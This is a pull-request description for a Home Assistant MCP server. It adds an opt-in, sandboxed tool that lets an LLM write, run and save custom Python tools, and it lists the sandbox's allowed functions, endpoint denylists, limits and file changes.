<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4xNjAuNyIsInVwZGF0ZWRJblZlciI6IjQzLjE2MC43IiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6WyJyZW5vdmF0ZS9jb250YWluZXIiLCJ0eXBlL21pbm9yIl19--> Co-authored-by: todd <tpunderson@greyrock.io> Reviewed-on: https://git.greyrock.io/greyrock-labs/home-ops/pulls/26
What does this PR do?
In my own words (non-ai): the point of this tool primarily is to allow users to create their own custom tools to do things that our current tools cannot do, or to fill gaps where specific tools don't exist. This way if functionality is missing, while users wait for a new tool to get implemented they can just simply use their AI to make their own without having to wait for a PR to get made and merged and sent to live addon. Ultimately we still should add dedicated tools and functionality for certain things, but it's impossible to build a tool for everything...this is intended to fill that gap.
AI:
Adds an opt-in
ha_manage_custom_tool— a sandboxed tool that lets LLMs write and run custom Python code. Code runs in pydantic-monty (Rust-based sandbox; no filesystem, no arbitrary network).Beta-only — ships in the dev channel add-on only, mirroring #942's pattern for
ha_config_set_yaml. Stable add-on users who want it can install the dev add-on, or setENABLE_CODE_MODE=truefor non-add-on installs (pip / uvx / Docker direct).Implements #726.
What the sandbox can do
Direct HA REST API access — create tools for operations not covered by existing tools:
Direct HA WebSocket access — registry queries, template rendering, and other WS-only commands:
Chain existing tools — compose multiple MCP tools with custom Python logic in a single round-trip:
Save/reuse/delete custom tools — build a personal "MCP within an MCP":
Saved tools persist across restarts via
CODE_MODE_SAVED_TOOLS_PATH(defaults to/data/saved_tools.jsonin the dev add-on; opt-in elsewhere). 256-tool cap, atomic writes (temp file +os.replace), schema-versioned.Single tool with three mutually-exclusive modes
code/run_saved/list_savedare mutually exclusive — passing more than one returnsVALIDATION_INVALID_PARAMETER.save_asis a modifier on thecodemode, not a fourth mode.Available functions in sandbox
api_get(endpoint)api_post(endpoint, data)ws_send(message)call_tool(name, args)delete_saved_tool(name)Safety guardrails
ENABLE_CODE_MODE=trueto opt in (dev add-on toggle: "Enable custom tool sandbox (beta)")destructiveHint=True— MCP clients prompt for confirmationjustification— logged for auditing, code logged at DEBUGha_manage_custom_toolapi_get/api_postreject absolute URLs (http://...), protocol-relative (//host/...), and userinfo (user@host/...); only HA-relative paths reach the underlying httpx clientapi_postblocks raw/api/states/*writes (which can conjure ghost entities), HA-internal events (24-name denylist; custom event types stay allowed), and/api/config/{automation,script}/config/*(forced throughha_config_set_automation/ha_config_set_script).ws_sendblocksconfig/core/update,lovelace/config/save,lovelace/dashboards/{create,delete,update}, andconfig/{area,device,entity}_registry/{delete,disable,update}(forced through their wrapping tools). Read-only WS queries and service calls remain allowed.SANDBOX_LIMIT_EXCEEDED/SANDBOX_SYNTAX_UNSUPPORTED/SANDBOX_RUNTIME_ERRORcodes with category-tailored suggestions, replacing the previous genericINTERNAL_ERRORsandbox.api_post/sandbox.ws_sendline per allowed call; INFO-levelsandbox.{api_post,ws_send}.blockedper refusalCODE_MODE_MAX_*env vars within Pydantic-validated bounds.save_asrolls back the in-memory cache and surfaces asave_warning;delete_saved_toolrolls back and returns{"error": ...}. A read failure on an existing file (e.g.PermissionError) suppresses subsequent writes for the session so we don't atomically replace an unreadable file with empty content.Changes
src/ha_mcp/tools/tools_code.pysrc/ha_mcp/config.pyENABLE_CODE_MODE,CODE_MODE_MAX_DURATION/MEMORY/RECURSION/INVOCATIONS(all range-validated),CODE_MODE_SAVED_TOOLS_PATHsrc/ha_mcp/errors.pySANDBOX_LIMIT_EXCEEDED/SANDBOX_SYNTAX_UNSUPPORTED/SANDBOX_RUNTIME_ERRORcodessrc/ha_mcp/server.pypyproject.tomlpydantic-monty==0.0.9dependencyhomeassistant-addon-dev/config.yamlenable_code_modetogglehomeassistant-addon-dev/translations/en.yamlhomeassistant-addon/config.yamlenable_code_modeas dev-only beta (no toggle exposed in stable)homeassistant-addon/start.pyenable_code_mode→ env var; defaultCODE_MODE_SAVED_TOOLS_PATH=/data/saved_tools.jsondocs/beta.mdha_manage_custom_toolrow + Known Limitations subsectiontests/src/e2e/tools/test_create_custom_tool.pytests/src/unit/test_saved_tools_persistence.pyCloses #726
Type of change
Testing
uv run pytest)uv run ruff check)Checklist
docs/beta.mdfor the user-facing Known Limitations section; the auto-generatedhomeassistant-addon/DOCS.md/README.md/tools.jsonare regenerated bysync-tool-docs.ymlon merge)🤖 Generated with Claude Code